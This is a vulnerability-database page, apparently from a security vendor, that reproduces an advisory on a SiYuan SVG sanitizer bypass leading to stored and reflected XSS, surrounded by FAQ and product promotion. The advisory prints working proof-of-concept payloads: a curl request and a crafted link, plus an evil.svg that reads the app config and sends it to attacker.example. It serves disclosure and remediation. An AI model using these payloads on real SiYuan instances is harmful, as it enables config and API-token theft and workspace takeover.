How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

413,619

Total vulnerabilities in the database

SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass — github.com/siyuan-note/siyuan/kernel

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Summary

SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.

The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.

The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:

Reflected, through a single link: GET /api/icon/getDynamicIcon
Stored, through a planted .svg asset: GET /assets/<name>.svg

I confirmed this on a live SiYuan 3.7.2 kernel.

Root cause

util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.

The gap comes from HTML parsing rules that do not exist in XML:

<desc> and <title> are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops <foreignObject> but keeps <desc> and <title>.
Inside HTML mode, <style>, <xmp> and <noscript> are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a <script> placed inside them, and the render step writes it back exactly as it was.
When the browser reads the same bytes as XML (SVG), there is no raw text rule. <style> becomes a normal container and the hidden <script> becomes a real, working SVG script node.

I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:

IN : &lt;svg&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/svg&gt;
OUT: &lt;svg&gt;&lt;/svg&gt;                                                     (removed)

IN : &lt;svg&gt;&lt;desc&gt;&lt;style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/style&gt;&lt;/desc&gt;&lt;/svg&gt;
OUT: &lt;svg&gt;&lt;desc&gt;&lt;style&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/style&gt;&lt;/desc&gt;&lt;/svg&gt;   (kept, runs)

Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:

kernel/server/serve.go:703 serveSVG serves an asset inline as image/svg+xml.
kernel/api/icon.go:158 getDynamicIcon. For type=8 the content query value is put straight into the SVG template at icon.go:583 with no escaping, then cleaned, then served as image/svg+xml.

Attack vector 1: reflected (one link)

The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.

curl -sk -G &#039;http://127.0.0.1:6806/api/icon/getDynamicIcon&#039; \
  --data-urlencode &#039;type=8&#039; \
  --data-urlencode &#039;content=&lt;/text&gt;&lt;desc&gt;&lt;style&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;&lt;/style&gt;&lt;/desc&gt;&lt;text&gt;&#039;

The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:

&lt;text ...&gt;&lt;/text&gt;&lt;desc&gt;&lt;style&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;&lt;/style&gt;&lt;/desc&gt;&lt;text&gt;&lt;/text&gt;

Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:

http://&lt;host&gt;:6806/api/icon/getDynamicIcon?type=8&amp;content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E

Attack vector 2: stored (planted asset)

Place this file as data/assets/evil.svg:

&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;desc&gt;&lt;style&gt;&lt;script&gt;
fetch(&#039;/api/system/getConf&#039;,{method:&#039;POST&#039;}).then(r=&gt;r.text())
  .then(t=&gt;{new Image().src=&#039;https://attacker.example/?&#039;+encodeURIComponent(t)});
&lt;/script&gt;&lt;/style&gt;&lt;/desc&gt;&lt;/svg&gt;

Then open /assets/evil.svg. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a .sy.zip, or a synced asset that carries a booby trapped SVG.

Note for both vectors: an SVG script runs on direct navigation, <iframe>, <embed> or <object>. It does not run when the SVG is loaded through an <img> tag, so open the link directly or embed it in a frame.

Impact

A note or asset made by one user can run any JavaScript in another user's browser on the publish site. This is the publishing threat model.
Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover.
The default AllowSVGScript=false exists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.

Suggested fix

Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop <desc>, <title> and <foreignObject> and any raw text smuggled markup.
Serve user SVG with Content-Disposition: attachment and a non running content type, and add a strict script-src CSP on /assets/* and /api/icon/getDynamicIcon.
Escape the reflected content value in getDynamicIcon before it goes into the template.

Published: Sep 3, 2026
Updated: Sep 4, 2026
GHSA: GHSA-99rq-75j6-5j9f
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8.7
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	Affected versions
github.com/siyuan-note/siyuan/kernel	`< 0.0.0-20260714095344-f08dee71ba8e`

Is kernel exposed on your perimeter?

A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.

What is attack surface management? →

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.